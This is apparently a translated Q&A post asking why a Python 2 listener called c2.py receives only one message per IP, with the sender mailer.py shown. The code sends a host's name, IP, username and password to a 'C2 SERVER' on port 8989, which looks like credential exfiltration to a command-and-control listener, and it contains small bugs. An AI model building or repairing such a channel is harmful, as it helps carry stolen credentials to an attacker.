【发布时间】:2017-08-07 17:22:26
【问题描述】:
我写这篇文章的目的是将一台服务器上收集的数据发送到外部服务器。问题似乎出在 c2.py 上,因为 mailer.py 发送数据没有问题,但 c2.py 只会输出从唯一 IP 发送给它的 1 条消息。
mailer.py(将数据发送到另一台服务器上的 c2.py)
C2 = "C2 SERVER"
C2PORT = 8989
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(10)
def send(ip, usr, pw):
try:
try:
s.connect((C2, C2PORT))
s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
print "sent"
except socket.error, ex:
print ex
except KeyboardInterrupt:
s.close()
sys.close()
c2.py(位于另一台服务器上的监听器)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('',8989))
s.listen(10)
def nodeRecv():
while 1:
try:
conn, addr = s.accept()
conn.settimeout(10)
print conn.recv(65000)
conn.close()
print "1"
except socket.error, ex:
conn.close()
print ex
if __name__ == "__main__":
print "Connected to localhost:8989"
print "Listening for nodes..."
nodeRecv()
【问题讨论】:
-
看看这个答案 - stackoverflow.com/questions/15958026/…,应该可以解决你的困境。
标签: python-2.7 sockets